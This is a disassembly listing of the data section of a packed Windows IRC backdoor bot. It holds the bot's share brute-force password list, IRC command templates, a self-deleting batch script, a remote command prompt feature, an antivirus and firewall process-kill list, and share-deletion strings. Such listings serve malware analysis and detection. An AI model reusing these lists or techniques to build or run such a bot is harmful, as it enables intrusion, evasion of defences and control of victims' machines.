aAhmet db 'ahmet',0 ; DATA XREF: .packed:00438928o
align 4
aPelincik db 'pelincik',0 ; DATA XREF: .packed:00438924o
align 4
aBlackpearl db 'blackpearl',0 ; DATA XREF: .packed:00438920o
align 4
aRetg db 'RETG',0 ; DATA XREF: .packed:0043891Co
align 4
aSamyeli21 db 'samyeli21',0 ; DATA XREF: .packed:00438918o
align 4
aPiramit db 'PIRAMIT',0 ; DATA XREF: .packed:00438914o
aAslii db 'aslii',0 ; DATA XREF: .packed:00438910o
align 4
aErnesto db 'ERNESTO',0 ; DATA XREF: .packed:0043890Co
aHaticem db 'haticem',0 ; DATA XREF: .packed:00438908o
aArzu db 'ARZU',0 ; DATA XREF: .packed:00438904o
align 10h
aSudenur db 'SUDENUR',0 ; DATA XREF: .packed:00438900o
aSevmekmi db 'sevmekmi',0 ; DATA XREF: .packed:004388FCo
align 4
aVenedik34 db 'venedik34',0 ; DATA XREF: .packed:004388F8o
align 10h
aTekir db 'tekir',0 ; DATA XREF: .packed:004388F4o
align 4
aMERVE db 'M-E-R-V-E',0 ; DATA XREF: .packed:004388F0o
align 4
aTrend3 db 'trend3',0 ; DATA XREF: .packed:004388ECo
align 4
aMelekk db 'melekk',0 ; DATA XREF: .packed:004388E8o
align 4
aAkin db 'AKIN',0 ; DATA XREF: .packed:004388E4o
align 4
aMary_0 db 'MARY',0 ; DATA XREF: .packed:004388E0o
align 4
aJericho db 'JERICHO',0 ; DATA XREF: .packed:004388DCo
aTolga34 db 'Tolga34',0 ; DATA XREF: .packed:004388D8o
aMisssunday db 'misssunday',0 ; DATA XREF: .packed:004388D4o
align 10h
aIrmal db 'irmal',0 ; DATA XREF: .packed:004388D0o
align 4
aObenibisevse db 'OBeNiBiSeVSe',0 ; DATA XREF: .packed:004388CCo
align 4
aBerk19 db 'berk19',0 ; DATA XREF: .packed:004388C8o
align 10h
aHexaaa db 'hexaaa',0 ; DATA XREF: .packed:004388C4o
align 4
aErkan27 db 'erkan27',0 ; DATA XREF: .packed:004388C0o
aKaan38dent db 'kaan38dent',0 ; DATA XREF: .packed:004388BCo
align 4
aCansuuuu db 'cansuuuu',0 ; DATA XREF: .packed:004388B8o
align 4
aThr45h3r5 db 'THR45H3R5',0 ; DATA XREF: .packed:004388B4o
align 4
aKencing db 'Kencing',0 ; DATA XREF: .packed:004388B0o
aReshma db 'reshma',0 ; DATA XREF: .packed:004388ACo
align 4
aCamel db 'CAMEL',0 ; DATA XREF: .packed:004388A8o
align 4
aGirl db 'GirL',0 ; DATA XREF: .packed:004388A4o
align 4
aImra db 'imra',0 ; DATA XREF: .packed:004388A0o
align 4
aCoredump db 'CoreDump',0 ; DATA XREF: .packed:0043889Co
align 4
aPuregold db 'puregold',0 ; DATA XREF: .packed:00438898o
align 4
aKermit db 'kermit',0 ; DATA XREF: .packed:00438894o
align 4
aManee db 'manee',0 ; DATA XREF: .packed:00438890o
align 4
aTroller db 'troller',0 ; DATA XREF: .packed:0043888Co
aLuisa db 'Luisa',0 ; DATA XREF: .packed:00438888o
align 4
aNastysha db 'nastysha',0 ; DATA XREF: .packed:00438884o
align 10h
aRimpy db 'rimpy',0 ; DATA XREF: .packed:00438880o
align 4
aJanno db 'janno',0 ; DATA XREF: .packed:0043887Co
align 10h
aBunty db 'bunty',0 ; DATA XREF: .packed:00438878o
align 4
aHeval db 'heval',0 ; DATA XREF: .packed:00438874o
align 10h
aCme db 'cme',0 ; DATA XREF: .packed:00438870o
aMarcy db 'marcy',0 ; DATA XREF: .packed:0043886Co
align 4
aTalika db 'talika',0 ; DATA XREF: .packed:00438868o
align 4
aShez db 'Shez',0 ; DATA XREF: .packed:00438864o
align 4
aKen db 'ken',0 ; DATA XREF: .packed:00438860o
aFlexster db 'flexster',0 ; DATA XREF: .packed:0043885Co
align 4
aKoko db 'koko',0 ; DATA XREF: .packed:00438858o
align 4
aMale db 'male',0 ; DATA XREF: .packed:00438854o
align 4
aSwin db 'swin',0 ; DATA XREF: .packed:00438850o
align 4
aCar1nna db 'Car1nna',0 ; DATA XREF: .packed:0043884Co
aKrizha db 'KRIZHA',0 ; DATA XREF: .packed:00438848o
align 4
aEmilya db 'emilya',0 ; DATA XREF: .packed:00438844o
align 4
aBobmarley db 'BOBMARLEY',0 ; DATA XREF: .packed:00438840o
align 4
aMaxxguy db 'maxxguy',0 ; DATA XREF: .packed:0043883Co
aFarooq db 'farooq',0 ; DATA XREF: .packed:00438838o
align 4
aSmartmir db 'SMARTMIR',0 ; DATA XREF: .packed:00438834o
align 4
aM_0: ; DATA XREF: .packed:00438830o
; .packed:00438B7Co
unicode 0, <M>,0
word_439298 dw 4Eh ; DATA XREF: sub_41A3C6+38r
; .packed:0043882Co
align 4
dword_43929C dd 42h ; DATA XREF: .packed:00438828o
dword_4392A0 dd 56h ; DATA XREF: .packed:00438824o
dword_4392A4 dd 43h ; DATA XREF: .packed:00438820o
dword_4392A8 dd 58h ; DATA XREF: .packed:0043881Co
; .packed:00438BB0o
dword_4392AC dd 5Ah ; DATA XREF: .packed:00438818o
dword_4392B0 dd 4Ch ; DATA XREF: .packed:00438814o
dword_4392B4 dd 4Bh ; DATA XREF: .packed:00438810o
dword_4392B8 dd 4Ah ; DATA XREF: .packed:0043880Co
dword_4392BC dd 48h ; DATA XREF: .packed:00438808o
dword_4392C0 dd 47h ; DATA XREF: .packed:00438804o
dword_4392C4 dd 46h ; DATA XREF: .packed:00438800o
; .packed:00438B78o
dword_4392C8 dd 44h ; DATA XREF: .packed:004387FCo
dword_4392CC dd 53h ; DATA XREF: .packed:004387F8o
dword_4392D0 dd 50h ; DATA XREF: .packed:004387F0o
dword_4392D4 dd 4Fh ; DATA XREF: .packed:004387ECo
dword_4392D8 dd 55h ; DATA XREF: .packed:004387E4o
word_4392DC dw 59h ; DATA XREF: sub_41A6EA+38r
; .packed:004387E0o
align 10h
dword_4392E0 dd 54h ; DATA XREF: .packed:004387DCo
dword_4392E4 dd 52h ; DATA XREF: .packed:004387D8o
dword_4392E8 dd 45h ; DATA XREF: .packed:004387D4o
dword_4392EC dd 57h ; DATA XREF: .packed:004387D0o
dword_4392F0 dd 51h ; DATA XREF: .packed:004387CCo
dword_4392F4 dd 62h ; DATA XREF: .packed:004387C0o
; .packed:00438B8Co
dword_4392F8 dd 78h ; DATA XREF: .packed:00438B0Co
dword_4392FC dd 7Ah ; DATA XREF: .packed:00438B14o
; .packed:00438B44o
dword_439300 dd 6Ch, 68h ; DATA XREF: .packed:004387ACo
; .packed:00438AE0o
dword_439308 dd 67h, 66h, 64h ; DATA XREF: .packed:00438B48o
dword_439314 dd 79h ; DATA XREF: .packed:00438B10o
dword_439318 dd 77h ; DATA XREF: .packed:00438B08o
dword_43931C dd 4B43494Eh, 0A732520h, 0 ; DATA XREF: sub_417B76+B1o
dword_439328 dd 323334h ; DATA XREF: sub_417B76+79o
dword_43932C dd 474E4F50h, 0A732520h, 0 ; DATA XREF: sub_417B76+61o
aNickSUserSHotm db 'NICK %s',0Ah ; DATA XREF: sub_417C61+9Bo
db 'USER %s "hotmail.com" "127.0.0.1" :%s',0Ah,0
align 4
a__0 db '-|`_\{[]}',0 ; DATA XREF: sub_417E84+BCo
; sub_417E84+175r ...
align 4
dword_439374 dd 30B0005h, 10h, 48h, 1, 16D016D0h, 0 ; DATA XREF: sub_4182CD+A4o
dd 1, 10000h, 0AFA8BD80h, 11C97D8Ah, 8F4BEh, 8929102Bh
dd 1, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
dword_4393C0 dd 3000005h, 10h, 18h, 1, 3 dup(0) ; DATA XREF: sub_4182CD+E3o
; ---------------------------------------------------------------------------
loc_4393DC: ; DATA XREF: sub_4182CD+118o
mov al, 1
push edx
xchg eax, edi
retf 0D059h
; ---------------------------------------------------------------------------
db 11h
dd 0A000D5A8h, 51800DC9h, 0
dword_4393F0 dd 1D55B526h, 46C5C137h, 8F6379ABh, 69E8682Ah, 0
; DATA XREF: sub_4182CD+13Fo
aSErrorSD_ db '%s Error: %s <%d>.',0 ; DATA XREF: sub_418699+72o
align 4
aExplorer_exe db 'explorer.exe',0 ; DATA XREF: sub_4187E0+1Co
align 4
aSeshutdownpriv db 'SeShutdownPrivilege',0 ; DATA XREF: sub_418884+2o
aComspecCSS db '%%comspec%% /c %s %s',0 ; DATA XREF: sub_4188A6+140o
align 4
a@echoOffRepeat db '@echo off',0Dh,0Ah ; DATA XREF: sub_4188A6+85o
db ':repeat',0Dh,0Ah
db 'del "%%1"',0Dh,0Ah
db 'if exist "%%1" goto repeat',0Dh,0Ah
db 'del "%s"',0
aSdel_bat db '%sdel.bat',0 ; DATA XREF: sub_4188A6+48o
align 4
unk_4394A4 db 2Dh ; - ; DATA XREF: sub_418A2E+9Co
db 3, 34h, 2
db 6Ch ; l
db 6Fh, 67h, 2
db 3
aOperatingSyste db '- operating system is not supported',0
align 4
unk_4394D4 db 2Dh ; - ; DATA XREF: sub_418A2E+8Fo
db 3, 34h, 2
db 6Ch ; l
db 6Fh, 67h, 2
db 3
aFailedWithErro db '- failed with error code %d',0
align 4
dword_4394FC dd 234032Dh, 2676F6Ch, 25202D03h, 6F6C2073h, 6C632067h
; DATA XREF: sub_418A2E+5Co
dd 65726165h, 64h
off_439518 dd offset aAdd ; DATA XREF: sub_418C0E+60r
; sub_418FE5+51r ...
; "Add"
off_43951C dd offset aAdded ; DATA XREF: sub_418C0E+2Dr
; sub_418FE5+83r ...
; "Added"
dword_439520 dd 0 ; DATA XREF: sub_418C0E+18r
dd offset aDelete_0 ; "Delete"
dd offset aDeleted ; "Deleted"
align 10h
dd offset aList_1 ; "List"
dd offset aListed ; "Listed"
dd 0
dd offset aStart_0 ; "Start"
dd offset aStarted ; "Started"
align 8
dd offset aStop_0 ; "Stop"
dd offset aStopped_0 ; "Stopped"
dd 1, 43958Ch, 439584h, 2, 439578h, 43956Ch, 3, 746E6F43h
dd 65756E69h, 64h, 746E6F43h, 65756E69h, 0
aPaused db 'Paused',0
align 4
aPause_0 db 'Pause',0
align 4
aStopped_0 db 'Stopped',0 ; DATA XREF: .packed:0043954Co
aStop_0 db 'Stop',0 ; DATA XREF: .packed:00439548o
align 4
aStarted db 'Started',0 ; DATA XREF: .packed:00439540o
aStart_0 db 'Start',0 ; DATA XREF: .packed:0043953Co
align 4
aListed db 'Listed',0 ; DATA XREF: .packed:00439534o
align 4
aList_1 db 'List',0 ; DATA XREF: .packed:00439530o
align 4
aDeleted db 'Deleted',0 ; DATA XREF: .packed:00439528o
aDelete_0 db 'Delete',0 ; DATA XREF: .packed:00439524o
align 4
aAdded db 'Added',0 ; DATA XREF: .packed:off_43951Co
align 4
aAdd db 'Add',0 ; DATA XREF: .packed:off_439518o
unk_4395E0 db 2Dh ; - ; DATA XREF: sub_418C0E+67o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aSNoServiceSpec db '- %s: no service specified',0
unk_439604 db 2Dh ; - ; DATA XREF: sub_418C0E+51o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aErrorWithServi db '- error with service: ',27h,'%s',27h,' - %s',0
align 10h
unk_439630 db 2Dh ; - ; DATA XREF: sub_418C0E+33o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aSServiceS db '- %s service: ',27h,'%s',27h,0
aAnUnknownError db 'An unknown error occurred: <%ld>',0 ; DATA XREF: sub_418D2A+12Co
align 10h
aTheSystemIsShu db 'The system is shutting down.',0 ; DATA XREF: sub_418D2A:loc_418E42o
align 10h
aTheServiceHasN db 'The service has not been started.',0 ; DATA XREF: sub_418D2A:loc_418E3Bo
align 4
aTheRequested_1 db 'The requested control code cannot be sent to the service because '
; DATA XREF: sub_418D2A:loc_418E34o
db 'the state of the service.',0
align 10h
aTheServiceHa_0 db 'The service has been marked for deletion.',0
; DATA XREF: sub_418D2A:loc_418E2Do
align 4
aTheServiceCoul db 'The service could not be logged on. The account does not have the'
; DATA XREF: sub_418D2A:loc_418E26o
db ' correct access rights.',0
align 4
aTheSpecified_0 db 'The specified service does not exist.',0
; DATA XREF: sub_418D2A:loc_418E1Fo
align 10h
aTheServiceHasB db 'The service has been disabled.',0 ; DATA XREF: sub_418D2A:loc_418E18o
align 10h
aTheServiceDe_0 db 'The service depends on another service that has failed to start.',0
; DATA XREF: sub_418D2A:loc_418E11o
align 4
aTheServiceDepe db 'The service depends on a service that does not exist or has been '
; DATA XREF: sub_418D2A:loc_418E0Ao
db 'marked for deletion.',0
align 4
aTheSpecifiedDa db 'The specified database does not exist.',0
; DATA XREF: sub_418D2A:loc_418E03o
align 4
aAnInstanceOfTh db 'An instance of the service is already running.',0
; DATA XREF: sub_418D2A:loc_418DD8o
align 4
aTheRequested_0 db 'The requested control code is not valid, or it is unacceptable to'
; DATA XREF: sub_418D2A:loc_418DD1o
db ' the service.',0
align 4
aTheProcessForT db 'The process for the service was started, but it did not call Star'
; DATA XREF: sub_418D2A:loc_418DCAo
db 'tServiceCtrlDispatcher.',0
align 10h
aAThreadCouldNo db 'A thread could not be created for the service.',0
; DATA XREF: sub_418D2A:loc_418DC3o
align 10h
aTheDatabaseIsL db 'The database is locked.',0 ; DATA XREF: sub_418D2A+8Fo
aTheServiceCann db 'The service cannot be stopped because other running services are '
; DATA XREF: sub_418D2A:loc_418D98o
db 'dependent on it.',0
align 4
aTheServiceBina db 'The service binary file could not be found.',0
; DATA XREF: sub_418D2A:loc_418D8Eo
aTheHandleDoesN db 'The handle does not have the required access right.',0
; DATA XREF: sub_418D2A:loc_418D84o
aTheHandleIsInv db 'The handle is invalid.',0 ; DATA XREF: sub_418D2A:loc_418D7Ao
align 4
aTheRequestedCo db 'The requested control code is undefined.',0
; DATA XREF: sub_418D2A:loc_418D70o
align 10h
aTheSpecifiedSe db 'The specified service name is invalid.',0 ; DATA XREF: sub_418D2A+3Co
align 4
aSSS db '%s: %s (%s)',0 ; DATA XREF: sub_418EA8+EBo
aStopped db ' Stopped',0 ; DATA XREF: sub_418EA8:loc_418F74o
aStarting db ' Starting',0 ; DATA XREF: sub_418EA8:loc_418F6Do
aStoping db ' Stoping',0 ; DATA XREF: sub_418EA8:loc_418F66o
aRunning db ' Running',0 ; DATA XREF: sub_418EA8:loc_418F5Fo
aContinuing db ' Continuing',0 ; DATA XREF: sub_418EA8:loc_418F58o
aPausing db ' Pausing',0 ; DATA XREF: sub_418EA8:loc_418F51o
aPaused_0 db ' Paused',0 ; DATA XREF: sub_418EA8:loc_418F4Ao
aUnknown_0 db ' Unknown',0 ; DATA XREF: sub_418EA8+9Bo
aTheFollowingWi db 'The following Windows services are registered:',0
; DATA XREF: sub_418EA8+25o
align 4
unk_439B84 db 2Dh ; - ; DATA XREF: sub_418FE5+ACo
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aSNoShareSpecif db '- %s: no share specified',0
align 4
dword_439BA8 dd 234032Dh, 274656Eh, 25202D03h, 68732073h, 3A657261h
; DATA XREF: sub_418FE5+8Ao
dd 73252720h, 27h
unk_439BC4 db 2Dh ; - ; DATA XREF: sub_418FE5+58o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aSErrorWithShar db '- %s: error with share: ',27h,'%s',27h,' - %s',0
align 10h
a14s24s6u4s db '%-14S %-24S %-6u %-4s',0 ; DATA XREF: sub_4191DB+D0o
align 4
aNo db 'No',0 ; DATA XREF: sub_4191DB+BCo
align 4
aYes db 'Yes',0 ; DATA XREF: sub_4191DB+B5o
unk_439C10 db 2Dh ; - ; DATA XREF: sub_4191DB+76o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aShareListError db '- share list error %s <%ld>',0
align 4
aShareNameResou db 'Share name: Resource: Uses: Desc:',0
; DATA XREF: sub_4191DB+26o
align 10h
unk_439C70 db 2Dh ; - ; DATA XREF: sub_4192FC+B7o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aSNoUsernameSpe db '- %s: no username specified',0
align 4
unk_439C98 db 2Dh ; - ; DATA XREF: sub_4192FC+95o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aSErrorWithUser db '- %s: error with username: ',27h,'%s',27h,' - %s',0
align 4
unk_439CC8 db 2Dh ; - ; DATA XREF: sub_4192FC+6Do
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aSUsernameS db '- %s username: ',27h,'%s',27h,0
align 4
unk_439CE8 db 2Dh ; - ; DATA XREF: sub_419443+3AFo
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aUserInfoErrorL db '- user info error <%ld>',0
align 4
aUnitsPerWeekD db 'Units Per Week: %d',0 ; DATA XREF: sub_419443+385o
align 10h
aMax_StorageD db 'Max. Storage: %d',0 ; DATA XREF: sub_419443+35Ao
align 4
aUserSLanguageD db 'User',27h,'s Language: %d',0 ; DATA XREF: sub_419443+32Fo
aCountryCodeD db 'Country Code: %d',0 ; DATA XREF: sub_419443+304o
align 4
aWorkstationsS db 'Workstations: %S',0 ; DATA XREF: sub_419443+2D9o
align 10h
aLogonServerS db 'Logon Server: %S',0 ; DATA XREF: sub_419443+2AEo
align 4
aLastLogoffD db 'Last Logoff: %d',0 ; DATA XREF: sub_419443+283o
aLastLogonD db 'Last Logon: %d',0 ; DATA XREF: sub_419443+258o
align 4
aNumberOfLogins db 'Number of Logins: %d',0 ; DATA XREF: sub_419443+22Do
align 4
aBadPasswordCou db 'Bad Password Count: %d',0 ; DATA XREF: sub_419443+202o
align 4
aPasswordAgeD db 'Password Age: %d',0 ; DATA XREF: sub_419443+1D7o
align 4
aParametersS db 'Parameters: %S',0 ; DATA XREF: sub_419443+1ACo
align 4
aHomeDirectoryS db 'Home Directory: %S',0 ; DATA XREF: sub_419443+181o
align 4
aAuthFlagsD db 'Auth Flags: %d',0 ; DATA XREF: sub_419443+156o
align 4
aPrivilegeLevel db 'Privilege Level: %s',0 ; DATA XREF: sub_419443+12Bo
aGuest db 'Guest',0 ; DATA XREF: sub_419443:loc_419562o
align 4
aUser_1 db 'User',0 ; DATA XREF: sub_419443:loc_41955Bo
align 10h
aAdministrator db 'Administrator',0 ; DATA XREF: sub_419443:loc_419554o
align 10h
aCommentS db 'Comment: %S',0 ; DATA XREF: sub_419443+DAo
aUserCommentS db 'User Comment: %S',0 ; DATA XREF: sub_419443+AFo
align 10h
aFullNameS db 'Full Name: %S',0 ; DATA XREF: sub_419443+84o
align 10h
aAccountS db 'Account: %S',0 ; DATA XREF: sub_419443+50o
aTotalUsersFoun db 'Total users found: %d.',0 ; DATA XREF: sub_41982C+14Fo
align 4
unk_439EA4 db 2Dh ; - ; DATA XREF: sub_41982C+F7o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aAnAccessViolat db '- an access violation has occured',0
align 10h
aS_4 db ' %S',0 ; DATA XREF: sub_41982C+BEo
align 4
unk_439ED8 db 2Dh ; - ; DATA XREF: sub_41982C+7Ao
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aUserListErrorS db '- user list error %s <%ld>',0
aUsernameAccoun db 'Username accounts for local system:',0 ; DATA XREF: sub_41982C+29o
aNetworkConnect db 'Network connection not found.',0 ; DATA XREF: sub_4199AC:loc_419AC9o
align 10h
aTheUserNameCou db 'The user name could not be found.',0 ; DATA XREF: sub_4199AC:loc_419AC2o
align 4
aShareNotFound_ db 'Share not found.',0 ; DATA XREF: sub_4199AC:loc_419ABBo
align 4
aTheComputerNam db 'The computer name is invalid.',0 ; DATA XREF: sub_4199AC:loc_419AB4o
align 4
aAnUnknownErr_0 db 'An unknown error occurred.',0 ; DATA XREF: sub_4199AC:loc_419AADo
align 4
aThePasswordIsS db 'The password is shorter than required (or does not meet the passw'
; DATA XREF: sub_4199AC:loc_419A90o
db 'ord policy requirement.)',0
align 10h
aTheGroupAlread db 'The group already exists.',0 ; DATA XREF: sub_4199AC:loc_419A89o
align 4
aTheUserAccount db 'The user account already exists.',0 ; DATA XREF: sub_4199AC:loc_419A82o
align 10h
aTheOperationIs db 'The operation is allowed only on the primary domain controller of'
; DATA XREF: sub_4199AC+CFo
db ' the domain.',0
align 10h
aAGeneralFailur db 'A general failure occurred in the network hardware.',0
; DATA XREF: sub_4199AC:loc_419A57o
aLevelParameter db 'Level parameter is invalid.',0 ; DATA XREF: sub_4199AC:loc_419A50o
aDeviceOrDirect db 'Device or directory does not exist.',0
; DATA XREF: sub_4199AC:loc_419A49o
aInvalidForRedi db 'Invalid for redirected resource.',0 ; DATA XREF: sub_4199AC:loc_419A3Fo
align 4
aDuplicateShare db 'Duplicate share name.',0 ; DATA XREF: sub_4199AC+89o
align 10h
aTheNameIsInval db 'The name is invalid.',0 ; DATA XREF: sub_4199AC:loc_419A19o
align 4
aAccessDenied_ db 'Access denied.',0 ; DATA XREF: sub_4199AC:loc_419A0Fo
align 4
aNotEnoughMemor db 'Not enough memory.',0 ; DATA XREF: sub_4199AC:loc_419A05o
align 4
aThisNetworkReq db 'This network request is not supported.',0
; DATA XREF: sub_4199AC:loc_4199FBo
align 4
aServerNameNotF db 'Server name not found.',0 ; DATA XREF: sub_4199AC:loc_4199F1o
align 4
aInvalidParamet db 'Invalid parameter.',0 ; DATA XREF: sub_4199AC+3Bo
align 10h
dword_43A1E0 dd 234032Dh, 274656Eh, 25202D03h, 34032073h, 76726553h
; DATA XREF: sub_419AE0+ABo
dd 3A037265h, 20532520h, 654D3403h, 67617373h, 203A0365h
dd 5325h
unk_43A20C db 2Dh ; - ; DATA XREF: sub_419AE0+81o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aMessageSentSuc db '- message sent successfully',0
align 4
dword_43A234 dd 7530h ; DATA XREF: sub_419F4D+12r
off_43A238 dd offset aRegedit_exe ; DATA XREF: sub_419C09+CBo
; "regedit.exe"
dd offset aMsconfig_exe ; "msconfig.exe"
dd offset aNetstat_exe ; "netstat.exe"
dd offset aMsblast_exe ; "msblast.exe"
dd offset aZapro_exe ; "zapro.exe"
dd offset aNavw32_exe ; "navw32.exe"
dd offset aNavapw32_exe ; "navapw32.exe"
dd offset aZonealarm_exe ; "zonealarm.exe"
dd offset aWincfg32_exeta ; "wincfg32.exetaskmon.exe"
dd offset aPandaavengine_ ; "PandaAVEngine.exe"
dd offset dword_43A340
dd offset dword_43A334
dd offset dword_43A328
dd offset dword_43A31C
dd offset dword_43A310
dd offset dword_43A304
dd offset dword_43A2F4
dd offset dword_43A2E8
dd offset dword_43A2DC
dd offset dword_43A2D0
dd offset dword_43A2C4
dd offset dword_43A2B4
dd offset dword_43A2A8
dd offset dword_43A298
dword_43A298 dd 72313169h, 346E3435h, 6578652Eh, 0 ; DATA XREF: sub_419C09+ECo
; .packed:0043A294o
dword_43A2A8 dd 6E757269h, 78652E34h, 65h ; DATA XREF: .packed:0043A290o
dword_43A2B4 dd 75643364h, 74616470h, 78652E65h, 65h ; DATA XREF: .packed:0043A28Co
dword_43A2C4 dd 65746172h, 6578652Eh, 0 ; DATA XREF: .packed:0043A288o
dword_43A2D0 dd 74617373h, 78652E65h, 65h ; DATA XREF: .packed:0043A284o
dword_43A2DC dd 736E6977h, 652E7379h, 6578h ; DATA XREF: .packed:0043A280o
dword_43A2E8 dd 756E6977h, 652E6470h, 6578h ; DATA XREF: .packed:0043A27Co
dword_43A2F4 dd 4D737953h, 50586E6Fh, 6578652Eh, 0 ; DATA XREF: .packed:0043A278o
dword_43A304 dd 61656262h, 2E656C67h, 657865h ; DATA XREF: .packed:0043A274o
dword_43A310 dd 696E6550h, 2E323373h, 657865h ; DATA XREF: .packed:0043A270o
dword_43A31C dd 6B656574h, 2E736469h, 657865h ; DATA XREF: .packed:0043A26Co
dword_43A328 dd 4C42534Dh, 2E545341h, 657865h ; DATA XREF: .packed:0043A268o
dword_43A334 dd 7663736Dh, 2E323362h, 657865h ; DATA XREF: .packed:0043A264o
dword_43A340 dd 69737973h, 2E6F666Eh, 657865h ; DATA XREF: .packed:0043A260o
aPandaavengine_ db 'PandaAVEngine.exe',0 ; DATA XREF: .packed:0043A25Co
align 10h
aWincfg32_exeta db 'wincfg32.exetaskmon.exe',0 ; DATA XREF: .packed:0043A258o
aZonealarm_exe db 'zonealarm.exe',0 ; DATA XREF: .packed:0043A254o
align 4
aNavapw32_exe db 'navapw32.exe',0 ; DATA XREF: .packed:0043A250o
align 4
aNavw32_exe db 'navw32.exe',0 ; DATA XREF: .packed:0043A24Co
align 4
aZapro_exe db 'zapro.exe',0 ; DATA XREF: .packed:0043A248o
align 10h
aMsblast_exe db 'msblast.exe',0 ; DATA XREF: .packed:0043A244o
aNetstat_exe db 'netstat.exe',0 ; DATA XREF: .packed:0043A240o
aMsconfig_exe db 'msconfig.exe',0 ; DATA XREF: .packed:0043A23Co
align 4
aRegedit_exe db 'regedit.exe',0 ; DATA XREF: .packed:off_43A238o
aSD_0 db ' %s (%d)',0 ; DATA XREF: sub_419C09+191o
align 10h
unk_43A3F0 db 2Dh ; - ; DATA XREF: sub_419E38:loc_419EBFo
db 3, 34h, 2
db 70h ; p
db 72h, 6Fh, 63h
db 73h ; s
db 2, 3, 2Dh
aProcessListFai db ' process list failed',0
align 4
unk_43A414 db 2Dh ; - ; DATA XREF: sub_419E38+80o
db 3, 34h, 2
db 70h ; p
db 72h, 6Fh, 63h
db 73h ; s
db 2, 3, 2Dh
aProcessListCom db ' process list complete',0
align 4
unk_43A438 db 2Dh ; - ; DATA XREF: sub_419E38+19o
db 3, 34h, 2
db 70h ; p
db 72h, 6Fh, 63h
db 73h ; s
db 2, 3, 2Dh
aListingProcess db ' listing processes:',0
aPrivmsgSS db 'PRIVMSG %s :%s',0Dh,0 ; DATA XREF: sub_419FD5+33o
unk_43A468 db 2Dh ; - ; DATA XREF: sub_41A05C:loc_41A18Eo
db 3, 34h, 2
db 63h ; c
db 6Dh, 64h, 2
db 3
aCouldNotReadDa db '- Could not read data from proccess.',0Dh,0Ah,0
unk_43A498 db 2Dh ; - ; DATA XREF: sub_41A05C+10Fo
db 3, 34h, 2
db 63h ; c
db 6Dh, 64h, 2
db 3
aProccessHasTer db '- Proccess has terminated.',0Dh,0Ah,0
align 10h
unk_43A4C0 db 2Dh ; - ; DATA XREF: sub_41A05C:loc_41A142o
db 3, 34h, 2
db 63h ; c
db 6Dh, 64h, 2
db 3
aCouldNotRead_0 db '- Could not read data from proccess',0Dh,0Ah,0
align 10h
unk_43A4F0 db 2Dh ; - ; DATA XREF: sub_41A1B1+194o
db 3, 34h, 2
db 63h ; c
db 6Dh, 64h, 2
db 3
aFailedToStartI db '- Failed to start IO thread, error: <%d>.',0
align 4
unk_43A524 db 2Dh ; - ; DATA XREF: sub_41A1B1+14Co
db 3, 34h, 2
db 63h ; c
db 6Dh, 64h, 2
db 3
aRemoteCommandP db '- Remote Command Prompt',0
align 4
off_43A548 dd offset dword_43A580 ; DATA XREF: sub_41A3C6+1B3o
; sub_41A6EA+17Ao
align 10h
dd offset dword_43A578
align 8
off_43A558 dd offset dword_43A574 ; DATA XREF: sub_41A6EA+1E3o
dd offset dword_43A570
dd offset dword_43A56C
dd offset dword_43A568
dword_43A568 dd 5C3A44h ; DATA XREF: sub_41A3C6+217o
; .packed:0043A564o
dword_43A56C dd 2444h ; DATA XREF: .packed:0043A560o
dword_43A570 dd 5C3A43h ; DATA XREF: .packed:0043A55Co
dword_43A574 dd 2443h ; DATA XREF: .packed:off_43A558o
dword_43A578 dd 494D4441h, 244Eh ; DATA XREF: .packed:0043A550o
dword_43A580 dd 24435049h, 0 ; DATA XREF: .packed:off_43A548o
dword_43A588 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A3C6+2E5o
; sub_41A6EA+2DBo
aNetapi32_dllCo db '- Netapi32.dll couldn',27h,'t be loaded.',0
align 4
dword_43A5B8 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A3C6+2CFo
aNetworkSharesD db '- Network shares deleted.',0
align 10h
dword_43A5E0 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A3C6:loc_41A628o
aFailedToDelete db '- Failed to delete ',27h,'%S',27h,' share.',0
align 4
dword_43A60C dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A3C6+25Bo
aShareSDeleted_ db '- Share ',27h,'%S',27h,' deleted.',0
align 10h
dword_43A630 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A3C6:loc_41A595o
aFailedToDele_0 db '- Failed to delete ',27h,'%s',27h,' share.',0
align 4
dword_43A65C dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A3C6+1C8o
aShareSDelete_0 db '- Share ',27h,'%s',27h,' deleted.',0
align 10h
dword_43A680 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A3C6:loc_41A4F8o
; sub_41A6EA:loc_41A818o
aAdvapi32_dllCo db '- Advapi32.dll couldn',27h,'t be loaded.',0
align 10h
dword_43A6B0 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A3C6:loc_41A4F1o
aFailedToOpenIp db '- Failed to open IPC$ Restriction registry key.',0
dword_43A6EC dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A3C6:loc_41A4D3o
aRestrictedAcce db '- Restricted access to the IPC$ Share.',0
align 10h
dword_43A720 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A3C6+106o
aFailedToRestri db '- Failed to restrict access to the IPC$ Share.',0
align 4
aRestrictanonym db 'restrictanonymous',0 ; DATA XREF: sub_41A3C6+EDo
; sub_41A6EA+EDo
align 10h
